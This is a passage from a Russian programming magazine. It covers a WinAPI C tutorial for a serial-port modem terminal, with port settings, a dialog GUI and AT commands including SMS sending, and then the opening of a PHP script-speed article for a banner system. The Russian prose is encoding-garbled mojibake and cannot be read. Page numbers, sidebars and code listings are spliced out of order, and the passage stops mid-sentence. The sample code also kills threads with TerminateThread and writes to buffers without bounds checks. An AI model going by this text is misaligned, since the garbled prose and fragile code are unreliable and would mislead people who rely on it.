èç ïðîãðàììû, ìû ìîæåì ñäåëàòü ñëåäóþùåå: â öèêëå ÷èòàòü ïî îäíîìó áàéòó èç<br />
ïîðòà è òîò÷àñ æå åãî âûâîäèòü. Íî â òî æå âðåìÿ ó íàñ íå ïîëó÷èòñÿ îäíîâðåìåííî ïèñàòü<br />
â ïîðò è ñ÷èòûâàòü. À âûõîä èç ñëîæèâøèéñÿ ñèòóàöèè ïðîñò! Íàì íàäî ñîçäàòü ïîòîê,<br />
òî åñòü ôóíêöèþ, ðàáîòàþùóþ ïàðàëëåëüíî ñ îñíîâíîé ïðîãðàììîé, â êîòîðûé ìû<br />
è ïîìåñòèì íàø öèêë ÷òåíèÿ. Äëÿ ýòîãî ìû îïðåäåëèì ôóíêöèþ è äîáàâèì â íåå öèêë:<br />
DWORD __stdcall ReadThread(LPVOID param){<br />
// ... òóò öèêë ÷òåíèÿ<br />
}<br />
À óæå èç ìåéíîâîé ôóíêöèè çàïóñòèì ïðè ïîìîùè WinAPI íàø ïîòîê:<br />
HANDLE hThread = CreateThread(0, 0, ReadThread, (LPVOID)0, 0, 0);<br />
È âðîäå áû âñå çàìå÷àòåëüíî: â îäíîì ïîòîêå ó íàñ èäåò ÷òåíèå è âûâîä, â äðóãîì<br />
(ãëàâíîì) - ìû ââîäèì äàííûå è ïîñûëàåì èõ â ïîðò. Íî òóò êðîåòñÿ åùå îäíà ïðîáëåìà.<br />
Íàì íåëüçÿ îäíîâðåìåííî ÷èòàòü è ïîñûëàòü äàííûå! Òî åñòü â òî âðåìÿ, ïîêà<br />
èç ïîðòà íè÷åãî íå ïðèøëî, è ReadFile ñïîêîéíî æäåò ñâîåãî áàéòèêà, ìû íå ìîæåì<br />
ïîñëàòü äàííûå. Êàê æå áûòü Ïðîñòî ïðåæäå ÷åì îòïðàâèòü óæå ââåäåííûå äàííûå,<br />
ìû êèëëàíåì ïîòîê. Óáüåì, ïîøëåì, à çàòåì ñíîâà ñîçäàäèì. È òàê êàæäûé ðàç,<br />
êîãäà çàõîòèì ïîñëàòü ÷òî-ëèáî â ïîðò. Óáèâàòü ïîòîê ìû áóäåì ïðè ïîìîùè ôóíêöèè<br />
TerminateThread, â ïåðâîì ïàðàìåòðå êîòîðîé ïåðåäàäèì óêàçàòåëü íà ïîòîê<br />
(hThread), à âî âòîðîì - êîä çàâåðøåíèÿ (0). Âûãëÿäèò âñå ýòî òàê:<br />
86<br />
// Óáèâàåì íèòü ÷òåíèÿ äàííûõ<br />
TerminateThread(hThread,0);<br />
// Îòïðàâëÿåì òåêñò<br />
WriteFile(hCom, writebuffer, strlen(writebuffer), &n1, 0);<br />
// Çàíîâî ñîçäàåì ïîòîê<br />
hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />
Ïàðàìåòðû ïîðòà<br />
×èòàòü è ïèñàòü ìû íàó÷èëèñü :). Òåïåðü íàì íàäî íàó÷èòüñÿ ìåíÿòü ïàðàìåòðû ïîðòà.<br />
Ýòî ìîæíî ñäåëàòü â device manager, çàéäÿ â ñâîéñòâà óñòðîéñòâà, à ìîæíî è èç<br />
ñâîåé ïðîãðàììû. Âñå ïàðàìåòðû ïîðòà áóäóò õðàíèòüñÿ â îãðîìíîé ñòðóêòóðå ïîä<br />
íàçâàíèåì DCB. Âîò åå îñíîâíûå çíà÷åíèÿ:<br />
BaudRate - ñêîðîñòü ïîðòà. Ìîæåò ïðèíèìàòü çíà÷åíèÿ CBR_9600, CBR_19200,<br />
CBR_38400 è ò.ä.<br />
ByteSize - ðàçìåð áàéòà, âàðüèðóåòñÿ îò 4 äî 8. Íàì íåîáõîäèìî 8.<br />
Parity - ÷åòíîñòü. Íàì îíà íå íóæíà, ïîýòîìó ïðèñâàèâàåì defined-çíà÷åíèå NOPARITY.<br />
StopBits - ñòîïîâûå áèòû, ó íàñ - ONESTOPBIT.<br />
Ëåïèì êíîïêè<br />
Äëÿ òîãî ÷òîáû îòðåäàêòèðîâàòü ïàðàìåòðû, èõ íàäî ñíà÷àëà ïîëó÷èòü. Ïîýòîìó ìû<br />
âîñïîëüçóåìñÿ ôóíêöèåé GetCommState: â ïåðâîì àðãóìåíòå ïåðåäàåòñÿ õýíäë ïîðòà,<br />
à âî âòîðîì - ïåðåìåííàÿ òèïà ñòðóêòóðû DCB. Ïîñëå âûïîëíåíèÿ ôóíêöèè<br />
ñòðóêòóðà áóäåò çàïîëíåíà òåêóùèìè óñòàíîâêàìè ïîðòà. Òåïåðü ìû ìîæåì ñìåëî<br />
ðåäàêòèðîâàòü ëþáîé èç íèõ. Ïîñëå ðåäàêòèðîâàíèÿ ïàðàìåòðîâ èõ, åñòåñòâåííî,<br />
íàäî ñîõðàíèòü. Äëÿ ýòîãî ñîçäàíà ôóíêöèÿ SetCommState. Âîò òàê âûãëÿäèò êîä ðåêîíôèãóðàöèè<br />
â íàøåé ïðîãðàììå:<br />
DCB dcb;<br />
GetCommState(hCom, &dcb);<br />
dcb.BaudRate = CBR_57600;<br />
dcb.ByteSize = 8;<br />
dcb.Parity = NOPARITY;<br />
dcb.StopBits = ONESTOPBIT;
SetCommState(hCom, &dcb);<br />
Ñ ðàáîòîé ïîðòîâ ðàçîáðàëèñü. Òåïåðü íàïèøåì ãðàôè÷åñêóþ îáîëî÷êó äëÿ íàøåé<br />
ïðîãðàììû.<br />
Ïèøåì GUI<br />
 ïîñëåäíåå âðåìÿ ó ìíîãèõ íà÷èíàþùèõ ïðîãðàììèñòîâ ñëîæèëîñü âïå÷àòëåíèå, ÷òî<br />
ïèñàòü ïðîãðàììû, èñïîëüçóþùèå äèàëîãè (îêîøêè), áåç VCL èëè MFC î÷åíü ñëîæíî.<br />
À âñå èç-çà ñòåðåîòèïà, áóäòî ïðèõîäèòñÿ ïðîðèñîâàòü ðó÷êàìè êàæäóþ êíîïî÷êó. Íî<br />
ýòî ñîâñåì íå òàê. Íóæíî ïðîñòî èñïîëüçîâàòü ðåñóðñû. Íàïðèìåð, ïðè ïîìîùè òîãî<br />
æå Visual Studio ìû ñîçäàäèì äèàëîã, íàáðîñàåì íà íåãî ïðÿìî êàê â Delphi èëè C++<br />
Builder âñÿêèõ êíîïî÷åê è äðóãèõ íåîáõîäèìûõ íàì êîíòðîëîâ, à çàòåì ñîçäàäèì â íàøåé<br />
ïðîãðàììå ôóíêöèþ îáðàáîòêè ñîîáùåíèé. ×òî æ, ïðèñòóïèì.<br />
Äëÿ òîãî ÷òîáû ñëåïèòü æåëàåìûé äèàëîã, íàäî çàãðóçèòü íàø ïðîåêò â VS, ïåðåéòè â çàêëàäêó<br />
Resource View, à òàì êëèêíóòü ïðàâîé êíîïêîé ìûøêè è âûáðàòü Insert (èëè Add<br />
Resource äëÿ VS .NET). Òåáå ïðåäëîæàò ðàçíûå òèïû ðåñóðñîâ. Âûáèðàé Dialog. Ïîÿâèòñÿ<br />
ðåäàêòîð, î÷åíü ïîõîæèé íà ðåäàêòîð ôîðì â äåëüôÿõ. Ïîìåñòè drug`n`drop'îì íà äèàëîã<br />
äâå êíîïî÷êè: îäíó - äëÿ îòêðûòèÿ çàäàííîãî ïîðòà, äðóãóþ - äëÿ ïîñûëêè äàííûõ,<br />
è òðè EditBox'à. Îäèí - äëÿ ââîäà íàçâàíèÿ ïîðòà, îäèí - äëÿ ïîñûëàåìûõ äàííûõ è åùå<br />
îäèí (ïîáîëüøå) - äëÿ âûâîäà ÷èòàåìûõ äàííûõ. Íà ïîñëåäíåì íóæíî êëèêíóòü, âûáðàòü<br />
ñâîéñòâà, à â ñâîéñòâàõ âêëþ÷èòü äëÿ EditBox'à ïîëîñó ïðîêðóòêè è multiline, ò.ê. äàííûå<br />
áóäóò âûâîäèòüñÿ ïîñòðî÷íî. Ó êàæäîãî ïîìåùåííîãî òîáîé íà äèàëîã êîíòðîëà áóäóò<br />
ñâîè èäåíòèôèêàòîðû. Çàïîìíè ýòè íàçâàíèÿ, ñ èõ ïîìîùüþ ìû áóäåì âçàèìîäåéñòâîâàòü<br />
ñ äèàëîãîì èç ïðîãðàììû. Ïîñëå ñîõðàíåíèÿ â ïàïêå ñ ïðîåêòîì ïîÿâèòñÿ õèäåð<br />
resource.h, åãî ìû âêëþ÷èì â íàøó ïðîãðàììó:<br />
#include "resource.h"<br />
×òîáû ïîëó÷àòü äàííûå èç ïîëåé EditBox'à, ìû âîñïîëüçóåìñÿ ôóíêöèåé<br />
GetDlgItemText. Â ïåðâîì ïàðàìåòðå åé íàäî ïåðåäàòü äåñêðèïòîð îêíà, âî âòîðîì -<br />
èäåíòèôèêàòîð edit'à, â òðåòüåì - óêàçàòåëü íà ñòðîêîâûé áóôåð, â ïîñëåäíåì - êîëè-<br />
÷åñòâî ÷èòàåìûõ èç ïîëÿ ñèìâîëîâ. Ïîñëå çàïóñêà â áóôåðå (ïîä êîòîðûé ïåðåä èñïîëüçîâàíèåì<br />
ðåêîìåíäóåòñÿ âûäåëèòü ïàìÿòü) îêàæåòñÿ òî, ÷òî áûëî ââåäåíî â ïîëå<br />
ñ çàäàííûì èäåíòèôèêàòîðîì.<br />
Ê òîìó æå âñå äàííûå ïåðåäàþòñÿ îòêðûòûì òåêñòîì, áåç êàêèõ-ëèáî ñëîæíûõ êîäîâ<br />
è ò.ï. Ïåðâîå, ÷òî ÿ ïîñëàë, áûëî AT, ìîäåì âåðíóë OK. ß ïîïðîáîâàë ïàðó<br />
ñòðîê èíèöèàëèçàöèè, âñå ïðîøëè íà óðà. Ïîòîì âñïîìíèë åùå íåñêîëüêî èíòåðåñíûõ<br />
êîìàíä, íàïðèìåð òàêèõ:<br />
ATDPíîìåð - çâîíèò ïóëüñîì ïî íîìåðó (T - òîíîâûé íàáîð)<br />
ATI3 - âûäàåò âåðñèþ ìîäåìà<br />
ATI7 - âûäàåò íàçâàíèå ìîäåìà<br />
ATH0 - âåøàåò òðóáêó<br />
ATH1 - ñíèìàåò òðóáêó è ïîäêëþ÷àåòñÿ ê ëèíèè<br />
Åñëè çàõî÷åøü óçíàòü ïîáîëüøå êîìàíä, ïîðîéñÿ<br />
â äîêóìåíòàöèè ñâîåãî ìîäåìà. Íî è ýòî<br />
åùå íå âñå. Ñåé÷àñ ïðàêòè÷åñêè ó âñåõ åñòü ìîáèëüíèêè,<br />
è ó ìíîãèõ èìååòñÿ êîìîâñêèé ïðîâîä<br />
äëÿ ñèíõðîíèçàöèè ìîáèëüíîãî òåëåôîíà<br />
ñ êîìïüþòåðîì. Òàê âîò, â êàæäîì òåëåôîíå<br />
ñóùåñòâóåò GSM-ìîäåì, à ýòî î÷åíü èíòåðåñíàÿ<br />
øòóêà. Ïîìèìî îáû÷íûõ ôóíêöèé ìîäåìà,<br />
îí ìîæåò îòïðàâëÿòü SMS. Âîò êàê ýòî ñäåëàòü<br />
ïðè ïîìîùè íàøåé ïðîãðàììû:<br />
AT+CMGS="+79033133373"<br />
Îáùàåìñÿ ñ ìîäåìîì<br />
Ìîäåì îòâåòèò. Çàòåì òû ââåäåøü òåêñò ñîîáùåíèÿ ñ ñèìâîëîì '\x1A' íà êîíöå, à ìîäåì<br />
îòïðàâèò ýòó ìåññàãó íà íîìåð +79033133373.<br />
Break<br />
Ïðîåêò äëÿ Visual Studio .NET, ïîëíûé èñõîäíûé òåêñò ïðîãðàììû c ïîäðîáíûìè êîììåíòàðèÿì<br />
è óæå ñêîìïèëèðîâàííûé exe’øíèê òû ìîæåøü âçÿòü íà äèñêå èëè ñêà÷àòü<br />
ñ ñàéòà www.xakep.ru. Íàâåðíÿêà ó íàïèñàííîé íàìè ïðîãðàììû åñòü åùå è äðóãèå<br />
ïðèìåíåíèÿ. Òàê ÷òî ýêñïåðèìåíòèðóé, à åñëè ïðèäóìàåøü ÷òî-íèáóäü îðèãèíàëüíîå,<br />
òî íàïèøè ìíå îá ýòîì.<br />
Íà ýòîì âñå. Óäà÷íîãî êîìïèëèðîâàíèÿ.<br />
Òåïåðü íàì íàäî íàó÷èòüñÿ îáðàáàòûâàòü ñîáûòèÿ, âûïîëíÿþùèåñÿ ïîñëå íàæàòèÿ íà<br />
òó èëè èíóþ êíîïêó. Äëÿ ýòîãî ñîçäàäèì ôóíêöèþ îáðàáîòêè ñîîáùåíèé. Îíà áóäåò<br />
ëîâèòü ñîîáùåíèå îêíó-ðîäèòåëþ WM_COMMAND. Ôóíêöèÿ îïèñûâàåòñÿ òàê:<br />
int Dlg_Proc(HWND hwnd, UINT wMsg, WPARAM wParam, LPARAM lParam);<br />
ãäå hwnd - ýòî äåñêðèïòîð îêíà, êîòîðîìó ïðèøëî ñîîáùåíèå, wMsg - çàðåãèñòðèðîâàííûé<br />
íîìåð ñîîáùåíèÿ (íàïðèìåð, WM_COMMAND), à wParam è lParam - äâà ïàðàìåòðà,<br />
íàõîäÿùèõñÿ â ñîîáùåíèè. Âíóòðè ôóíêöèè ìû áóäåì ñðàâíèâàòü wMsg è<br />
WM_COMMAND. Åñëè îíè áóäóò ðàâíû, çíà÷èò, íà ýòó êíîïêó íàæàëè. Èäåíòèôèêàòîð<br />
êíîïêè íàõîäèòñÿ â íèæíåì "ñëîâå" ïðàâîãî ïàðàìåòðà (LOWORD(wParam)). Äëÿ òîãî<br />
÷òîáû ñîçäàòü ñîáûòèå íàæàòèÿ ýòîé êíîïêè, ìû äîëæíû ñðàâíèòü ïîëó÷åííûé èäåíòèôèêàòîð<br />
ñ èìåþùèìñÿ ó íàñ, è åñëè îíè ðàâíû - âûïîëíèòü íóæíûé íàì êîä. Ïîñêîëüêó<br />
êíîïîê è ïðèíèìàåìûõ ñîîáùåíèé â ïðîãðàììàõ îáû÷íî íåìàëî, ïðèíÿòî<br />
ïðîèçâîäèòü ñðàâíåíèå â áëîêå switch.<br />
Ôóíêöèþ îáðàáîòêè ñîîáùåíèé íàïèñàëè, îñòàëîñü òîëüêî âûçâàòü èç ïðîãðàììû ñàìóþ<br />
ãëàâíóþ ôóíêöèþ, êîòîðàÿ ñîçäàñò ïðè çàïóñêå îêíî èç íàøåãî ðåñóðñà è ïðèêðóòèò<br />
ê íåìó Dlg_Proc. Ôóíêöèÿ íàçûâàåòñÿ DialogBox è â ïðîãðàììå çàïóñêàåòñÿ<br />
ñëåäóþùèì îáðàçîì:<br />
DialogBox(hinst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, Dlg_Proc);<br />
IDD_DIALOG1 - èäåíòèôèêàòîð ðåñóðñà äèàëîãà, à Dlg_Proc - ñîçäàííàÿ íàìè ôóíêöèÿ<br />
äëÿ ñîîáùåíèé. Ýòó ñòðîêó ïîñòàâèì â ãëàâíûé ïîòîê (WinMain), è âîò, GUI äëÿ íàøåé<br />
òåðìèíàëüíîé ïðîãðàììû ïîëíîñòüþ çàâåðøåí. Ñîáèðàåì âñå âìåñòå (ñì. ëèñòèíã),<br />
è íàøà ïðîãðàììà ãîòîâà. Ïîðà ïðîâåðèòü åå â äåéñòâèè.<br />
Òåñòèðóåì<br />
Îáùàåìñÿ ÷åðåç NULL-ìîäåì<br />
Ïåðâîå, ÷òî ïðèøëî ìíå â ãîëîâó, ïîïðîáîâàòü<br />
íàøó ïðîãðàììó â êà÷åñòâå<br />
÷àòà, ïðè÷åì îáû÷íîãî null-ìîäåìíîãî.<br />
ß âçÿë com2com ïðîâîä è ñîåäèíèë<br />
èì âûõîäû ïîðòîâ com1 è<br />
com2. Ïîñëå ÷åãî çàïóñòèë äâå êîïèè<br />
ïðîãðàììû, îäíîé îòêðûâ com1, à<br />
äðóãîé - com2. Âûøëî î÷åíü óäà÷íî:<br />
äàííûå, ïîñëàííûå â îäèí ïîðò, óñïåøíî<br />
÷èòàëèñü èç äðóãîãî. Íà ýòîì ÿ<br />
íå îñòàíîâèëñÿ. Ïîñêîëüêó èçíà÷àëüíî<br />
ìû ïèñàëè òåðìèíàëüíóþ ïðîãðàììó<br />
äëÿ ìîäåìà, òî è ïðîòåñòèðóåì<br />
åå íà ìîäåìå. Ýòî íåñëîæíî, ïðîòîêîë<br />
îáùåíèÿ ñ ìîäåìîì òàêîé:<br />
\r<br />
\r\r<br />
Ëèñòèíã îêîííîé ïðîöåäóðû<br />
int __stdcall Dlg_Proc(HWND hwnd, UINT wMsg, WPARAM wParam, LPARAM<br />
lParam)<br />
{<br />
switch (wMsg){<br />
case WM_CLOSE:<br />
EndDialog(hwnd,1);<br />
break;<br />
case WM_COMMAND:<br />
switch (LOWORD(wParam)) {<br />
case IDC_BUTTON1:<br />
// Íàæàëè íà êíîïêó îòïðàâêè äàííûõ<br />
// Âûäåëÿåì ïàìÿòü ïîä áóôåðû<br />
writebuffer = (char*)malloc((size_t)128);<br />
memset(writebuffer,0,128);<br />
// ïîëó÷àåì òåêñò èç ïîëÿ<br />
GetDlgItemText(hwnd,IDC_EDIT1,writebuffer,128);<br />
writebuffer[strlen(writebuffer)] = '\r';<br />
writebuffer[strlen(writebuffer)] = '\0';<br />
// îòïðàâëÿåì<br />
TerminateThread(hThread,0);<br />
WriteFile(hCom, writebuffer,<br />
strlen(writebuffer),&n1,0); // Îòïðàâëÿåì òåêñò<br />
// Çàíîâî ñîçäàåì íèòü<br />
hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />
break;<br />
case IDC_BUTTON2:<br />
// Íàæàëè íà êíîïêó îòêðûòèÿ ïîðòà<br />
combuffer = (char*)malloc((size_t)16);<br />
memset(combuffer,0,16);<br />
// Ïîëó÷àåì èìÿ ïîðòà è îòêðûâàåì åãî<br />
GetDlgItemText(hwnd,IDC_EDIT2,combuffer,16);<br />
hCom = CreateFile(combuffer, GENERIC_READ | GENERIC_WRITE,<br />
0, 0, 3, 0, 0);<br />
hThread = CreateThread(0, 0, ReadThread, (LPVOID)hwnd, 0, 0);<br />
// íàñòðàèâàåì åãî<br />
GetCommState(hCom, &dcb);<br />
dcb.BaudRate = CBR_57600;<br />
dcb.ByteSize = 8;<br />
dcb.Parity = NOPARITY;<br />
dcb.StopBits = ONESTOPBIT;<br />
SetCommState(hCom, &dcb);<br />
break;<br />
}<br />
break;<br />
}<br />
return false;<br />
}<br />
87
Êîäèíã<br />
BANNERBANK ÇÀ 24 ×ÀÑÀ<br />
Bannerbank<br />
Nikita Kislitsin (nikitoz@real.xakep.ru)<br />
http://nikitos.inc.ru<br />
çà 24 ÷àñà<br />
Çíàåøü, âî ÷òî ðàíî èëè ïîçäíî óòûêàåòñÿ ëþáîé ñåðüåçíûé ïðîåêò Â äåíüãè. Ýíòóçèàçìà<br />
íà áåçâîçìåçäíóþ ðàáîòó íàä ñàéòîì óæå íå õâàòàåò, êàæäûé ìåñÿö íàäî îòäàâàòü<br />
äåíüãè çà õîñòèíã, à áðîñèòü âñå ê ÿäðåíîé ìàòåðè ìåøàåò óæå ïîòðà÷åííîå âðåìÿ è<br />
ìûñëè, âðîäå: "ß ÷òî - èäèîò! Ïîòðàòèë ïîëãîäà æèçíè - è âñå äëÿ ÷åãî, äëÿ òîãî, ÷òîáû<br />
çàáèòü íà ïðîåêò è âñïîìèíàòü ñ ñîæàëåíèåì î íåäîñòèãíóòîì óñïåõå". Íåò óæ, äîðîãîé,<br />
ñ ñàéòà íàäî çàðàáàòûâàòü äåíüãè, ïîäáàäðèâàÿ ñåáÿ áîëåå îïòèìèñòè÷íûìè<br />
ðàçìûøëåíèÿìè: "Âîò äîïèøó ýòó áàííåðíóþ ñèñòåìó è áóäó äåíüãè ëîïàòîé ãðåñòè,<br />
êóïëþ 250-ëèòðîâóþ áî÷êó Ãèííåñà, BMW Z3, âèëëó íà Êèïðå, áîåâîé âåðòîëåò è ïîêàæó<br />
àìåðèêîñàì, ãäå ðàêè çèìóþò!". Ïîíåñëàñü :)<br />
Nikita Kislitsin (nikitoz@real.xakep.ru) http://nikitos.inc.ru<br />
Óïîð ëåæà<br />
Íå ïîäóìàé íè÷åãî ïëîõîãî - ÿ íå ñîáèðàþñü ðàññêàçûâàòü òåáå â òðåòèé ðàç, êàê<br />
ðàáîòàòü ñ áàçàìè äàííûõ :). Ýòî ìû óæå óìååì. Â ñåãîäíÿøíåì ìàòåðèàëå ÿ áû õîòåë<br />
îñâåòèòü âàæíûé àñïåêò âåá-, äà è, âïðî÷åì, ëþáîãî ïðîãðàììèðîâàíèÿ - ïðîèçâîäèòåëüíîñòü<br />
ðàçðàáîòàííûõ ñöåíàðèåâ. Òóò âñå, êîíå÷íî æå, íåîäíîçíà÷íî è<br />
çàâèñèò îò ìíîæåñòâà ôàêòîðîâ - è îò ïðîèçâîäèòåëüíîñòè ñåðâåðà, è îò óñòàíîâëåííîé<br />
íà íåì ñèñòåìû, è îò âûïîëíÿåìûõ îïåðàöèé, è îò ñòðóêòóðû ñàìîãî àëãîðèòìà,<br />
è îò ïàðàìåòðîâ îêðóæåíèÿ ñöåíàðèÿ. Ôàêòîðîâ ìíîãî, íà ïîëîâèíó èç íèõ<br />
òû ìîæåøü ïîâëèÿòü ëèøü êîñâåííî - äîñòàâàÿ ñèñàäìèíà áåñêîíå÷íûì ñïàìîì â<br />
åãî mailbox, íî îñòàâøèåñÿ 50% ïîëíîñòüþ âèñÿò íà òâîåé ñîâåñòè. ×åì ÷ðåâàòû<br />
ñöåíàðèè ñ íèçêîé ïðîèçâîäèòåëüíîñòüþ, è êàê âîîáùå îïðåäåëèòü ñêîðîñòü ðàáîòû<br />
òîãî èëè èíîãî ñêðèïòà Íó, ñêàæåì, åñëè ðå÷ü èäåò î ñàéòå ñ ïîñåùàåìîñòüþ<br />
10 ÷åëîâåê â ñóòêè, òî íåò íèêàêîãî ñìûñëà âîçèòüñÿ ñ àëãîðèòìàìè, âûèãðûâàÿ ýòè<br />
æàëêèå 10-30%. Îäíàêî æå, åñëè ðå÷ü èäåò, íàïðèìåð, î ñåðüåçíîì êîììåð÷åñêîì<br />
ïðîåêòå, ðåçóëüòàò îòêàçà ñîçäàííîé ñèñòåìû ïîâëå÷åò çà ñîáîé íå÷òî óæàñíîå. Âûèãðàííûå<br />
20% áóäóò î÷åíü êñòàòè - ýòî óæå ñåêóíäû ïðîöåññîðíîãî âðåìåíè, ìåãàáàéòû<br />
ïàìÿòè, ñîòíè ïîëüçîâàòåëåé, êîòîðûì íå áûëî îòêàçàíî â îáñëóæèâàíèè,<br />
ò.å. â èòîãå âûèãðàííûå äåíüãè. Îñîáåííî àêòóàëüíà ýòà ïðîáëåìà â íàøåì ñåãîäíÿøíåì<br />
ïðèìåðå - áàííåðîïîêàçíîé ñèñòåìå. Âåäü åñëè âäðóã ïåðåñòàíóò ïîêàçûâàòüñÿ<br />
áàííåðû ïàðòíåðîâ è çàêàç÷èêîâ, íè÷åãî õîðîøåãî æäàòü íå ïðèäåòñÿ. Êðîìå<br />
òîãî, â ïîäîáíûõ ñèñòåìàõ áîëüøàÿ íàãðóçêà íå ðåäêîñòü, à ðåàëèè æèçíè. Êîíå÷íî,<br />
èíòåðïðåòèðóåìûé ïõï íå ñìîæåò ñðàâíèòüñÿ ïî ñêîðîñòè, ñêàæåì, ñ êîìïèëèðóåìûì<br />
cpp-ïðèëîæåíèåì äëÿ âåáñåðâåðà, íî îòêàçûâàòüñÿ îò ïðèáàâêè â 10-<br />
30% áûëî áû ãëóïî.<br />
Ìåòîä èçìåðåíèÿ ïðîèçâîäèòåëüíîñòè ñöåíàðèÿ ïðîñò. Âû÷èñëÿåòñÿ âðåìÿ, çà êîòîðîå<br />
ïðîãðàììà âûïîëíèëà íåêîòîðûé áëîê êîäà. Íàïðèìåð, ïðîøëà öèêë, îáðàáîòàëà<br />
sql-çàïðîñ èëè íàøëà íóæíûé ýëåìåíò â ìàññèâå. Ýòî, êîíå÷íî, íå òî÷íûé<br />
ñïîñîá, âåäü âðåìÿ îáðàáîòêè ñöåíàðèÿ çàâèñèò îò âíåøíåé çàãðóçêè ñèñòåìû - âåëè÷èíû<br />
äèíàìè÷åñêîé è íèêàê íå ñâÿçàííîé ñ ðàññìàòðèâàåìûì ïðèëîæåíèåì. Ïîýòîìó<br />
ÿ áóäó ðàññìàòðèâàòü òðè èçìåðåíèÿ ïîëó÷åííûõ çíà÷åíèé, îòëè÷àþùèåñÿ<br />
äðóã îò äðóãà íå áîëåå ÷åì íà 15%, è ïðèíèìàòü çà ðåçóëüòàò èõ ñðåäíåå àðèôìåòè÷åñêîå.<br />
Çàìåð âðåìåíè âûïîëíåíèÿ ïðîãðàììû ÿ îñóùåñòâëÿþ ïðè ïîìîùè ñëåäóþùåé<br />
ôóíêöèè:<br />
<<br />
function mt(){<br />
$ti=explode(" ",microtime());<br />
return ($ti[0] + $ti[1]);<br />
}<br />
><br />
Ïîÿñíþ. Ôóíêöèÿ microtime() âîçâðàùàåò ñòðîêó, ñîñòîÿùóþ èç äâóõ ÷èñåë, ðàçäåëåííûõ<br />
ïðîáåëîì. Ïîñëåäíåå ïîêàçûâàåò êîëè÷åñòâî ñåêóíä, ïðîøåäøèõ ñ íà÷àëà<br />
"ýïîõè", ïåðâîå, ñîîòâåòñòâåííî, óêàçûâàåò íà äðîáíóþ ÷àñòü ýòîé âåëè÷èíû. Ðàçðåçàÿ<br />
ïî ïðîáåëó ýòó ñòðîêó â ìàññèâ è ñêëàäûâàÿ âåëè÷èíû, ïîëó÷àåì äåéñòâèòåëüíîå<br />
÷èñëî, êîòîðîå ðàñòåò ïàðàëëåëüíî ïðîøåäøåìó âðåìåíè.<br />
Ñîîòâåòñòâåííî, âû÷èñëÿÿ ýòîò ïàðàìåòð äî è ïîñëå íåêîòîðîãî áëîêà, ïîëó÷àåì<br />
âðåìÿ, çà êîòîðîå èíòåðïðåòàòîð åãî îáðàáîòàë. Òåñòèðîâàíèå ïðîèçâîäèëîñü íà<br />
ñåðâåðå 2xPIII 533MHz, 768Mb ECC RAM, 2x45Gb ATA100 HDD ïîä FreeBSD 4.7 ñ<br />
Apache 1.3.27 è PHP 4.3.<br />
Íî äîâîëüíî ñëîâ, ïåðåéäåì ê ïðàêòè÷åñêèì ñîâåòàì ïî îðãàíèçàöèè php-ñöåíàðèåâ<br />
íàèáîëåå ýôôåêòèâíûì îáðàçîì. Ê ñëîâó, òû íàâåðíÿêà çàìåòèë, ÷òî â ïõï ìíîæåñòâî<br />
ôóíêöèé èìåþò íàçâàíèÿ-ñèíîíèìû. Êàê ÿ âûÿñíèë, ýòî íå ñîâñåì àëèàñû.<br />
Ôóíêöèè ðàáîòàþò ïî ïðèíöèïèàëüíî ðàçëè÷íûì àëãîðèòìàì, ò.å. êàêàÿ-òî â îïðåäåëåííûõ<br />
óñëîâèÿõ áûñòðåå, êàêàÿ-òî ìåäëåííåå. Êðîìå òîãî, êàê îêàçàëîñü, çàïèñü<br />
ñèíòàêñè÷åñêèõ âûðàæåíèé òàêæå ìîæåò îêàçûâàòü ñóùåñòâåííîå âëèÿíèå íà ýôôåêòèâíîñòü<br />
ñöåíàðèÿ. Âñå ýòè ñåêðåòû íèæå :).<br />
Top secret<br />
Íàäî ñêàçàòü, ÷òî âñå íèæåïðèâåäåííûå äàííûå ÿâëÿþòñÿ ïëîäàìè ìîèõ ýêñïåðèìåíòîâ.<br />
Ýòî ôàêòè÷åñêèé ìàòåðèàë, ñïîðèòü ñ êîòîðûì áåñïîëåçíî :). ß íå ïðåòåíäóþ<br />
íà êàêóþ-òî îáúåêòèâíîñòü, ò.ê. óñëîâèÿ òåñòèðîâàíèÿ áûëè äàëåêè îò ëàáîðàòîðíûõ,<br />
íî òîò, êòî ñêàæåò, ÷òî óñêîðåíèå ðàáîòû ñöåíàðèÿ íà 40% - ìåëî÷ü, è ìîæíî<br />
ñïèñàòü ýòî íà ïîãðåøíîñòü èçìåðåíèé, ïóñòü ïåðâûé áðîñèò â ìåíÿ êàìåíü :).<br />
Èòàê, ïîåõàëè.<br />
1) Ìåíüøå ñèìâîëîâ â èìåíè ïåðåìåííîé - áûñòðåå ñöåíàðèé. Ýêîíîìèì 10%!<br />
Ïðîñòîé òåñò - öèêë ñ òûñÿ÷üþ èòåðàöèé, äîïèñûâàþùèé ê ïåðåìåííîé ñòðî÷êó èç<br />
9 ñèìâîëîâ:<br />
Èìÿ ïåðåìåííîé Âðåìÿ ðàáîòû %<br />
$x 0.00382800 88.35%<br />
$xxxxxxxxx 0.00384901 88.83%<br />
$30 ðàç x 0.00433300 100%<br />
Íåñëîæíî çàìåòèòü ýêîíîìèþ - âðåìÿ âûïîëíåíèÿ àëãîðèòìà íåëèíåéíî âîçðàñòàåò<br />
ñ ðîñòîì äëèíû èìåí èñïîëüçóåìûõ ïåðåìåííûõ. Î÷åâèäíî, ýêîíîìèÿ áóäåò íàìíîãî<br />
áîëüøå, åñëè âçÿòü ïðèìåð ïðîãðàììû, ãäå ïåðåìåííûõ, ñêàæåì, 10, è âûïîëíÿþòñÿ<br />
áîëåå ñëîæíûå îïåðàöèè. Îäíàêî è ñ óêîðà÷èâàíèåì èìåí íå ñòîèò îñîáî<br />
óñåðäñòâîâàòü - ïåðåìåííûå òèïà $a23 ñèëüíî ñíèæàþò óäîáî÷èòàåìîñòü êîäà :).<br />
2) Âûíîñ ñòðîêîâûõ ïåðåìåííûõ èç êàâû÷åê - ýêîíîìèÿ äî 40%!<br />
Êàê îêàçàëîñü, php ìåäëåííî îáðàáàòûâàåò ïåðåìåííûå, ðàñïîëîæåííûå âíóòðè êàâû÷åê.<br />
Òàêàÿ âðîäå áû ìåëî÷ü ìîæåò ñýêîíîìèòü äî 40% ïðîöåññîðíîãî âðåìåíè!<br />
88
Òåñò áûë ñëåäóþùèé: â öèêëå ñ îäíîé òûñÿ÷üþ èòåðàöèé ê ñòðîêå $b ïðèêëåèâàåòñÿ<br />
